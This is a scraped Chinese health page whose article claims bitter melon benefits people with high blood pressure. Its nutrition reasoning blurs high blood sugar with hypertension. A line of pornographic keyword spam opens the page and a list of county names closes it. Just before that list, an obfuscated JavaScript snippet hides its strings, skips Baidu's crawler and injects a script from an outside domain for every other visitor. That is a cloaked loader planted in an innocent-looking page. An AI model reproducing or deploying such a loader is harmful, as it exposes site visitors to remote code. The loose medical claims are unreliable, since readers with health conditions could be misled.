亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

吃苦瓜對高血壓有好處嗎

2017-07-11 14:22:17  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:苦瓜是百姓餐桌上不可缺少的一道佳肴。尤其是在夏天的時(shí)候,這個(gè)時(shí)候正是盛產(chǎn)苦瓜的大好季節(jié)。大家都會(huì)在餐桌上多一道他的身影。大家都比較

苦瓜是百姓餐桌上不可缺少的一道佳肴。尤其是在夏天的時(shí)候,這個(gè)時(shí)候正是盛產(chǎn)苦瓜的大好季節(jié)。大家都會(huì)在餐桌上多一道他的身影。大家都比較知道苦瓜能明目,清脂肪,但是除了這些有點(diǎn)以外,吃苦瓜對于高血壓的朋友也是有很多的好處的,下面就給大家介紹一下苦瓜對于高血壓的朋友都有什么好處。

豐富維生素C幫助高血糖細(xì)胞抗氧化

苦瓜豐富的維生素C含量,為瓜類蔬菜之冠。根據(jù)行政院農(nóng)委會(huì)的資料,苦瓜的維生素C含量約為冬瓜的5倍,黃瓜的14倍,南瓜的21倍,所以又被稱為「瓜中C王」。血糖偏高的人由于血中糖分代謝不良,容易產(chǎn)生過多的自由基,損害神經(jīng)細(xì)胞,進(jìn)而造成各種病變,即可怕的糖尿病并發(fā)癥。而維生素C的抗氧化功能可以消滅這些自由基,增強(qiáng)免疫力,并強(qiáng)化體內(nèi)新陳代謝,亦有助于血管、牙齒和骨骼的健康。

高鉀有助于控制高血壓

苦瓜富含的鉀有助于身體排出鈉質(zhì),也能消除水腫,對于控制高血壓有益,但如果是已有腎病變的糖尿病患者,就要注意不可以過量食用。再來說到苦瓜當(dāng)中的維生素 B1、B2,由于B群是糖類、脂肪、蛋白質(zhì)能量代謝的必須營養(yǎng)素,有助于維持神經(jīng)系統(tǒng)正常。對于需要加強(qiáng)糖類、脂肪代謝的高血糖族群來說,也很適合。

從介紹內(nèi)容中可以看出苦瓜對于高血壓的朋友是有很大的好處的,所以建議大家在患有高血壓之后可以多多的食用。在食用苦瓜的時(shí)候如果覺得過于苦澀,在烹調(diào)之前可以先用水浸泡一下,這樣能有效避免苦瓜過于的苦澀,同時(shí)也能保留其營養(yǎng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
和硕县| 博客| 青州市| 清徐县| 岳西县| 延边| 田阳县| 西充县| 亳州市| 东乡| 遂宁市| 双柏县| 札达县| 千阳县| 宁蒗| 鄯善县| 镇安县| 贞丰县| 竹北市| 扶风县| 东台市| 土默特右旗| 开阳县| 恩平市| 莲花县| 文安县| 瑞丽市| 商洛市| 梓潼县| 锦屏县| 平定县| 鄂托克旗| 慈利县| 梨树县| 静乐县| 固始县| 奎屯市| 八宿县| 宁武县| 澄城县| 竹北市|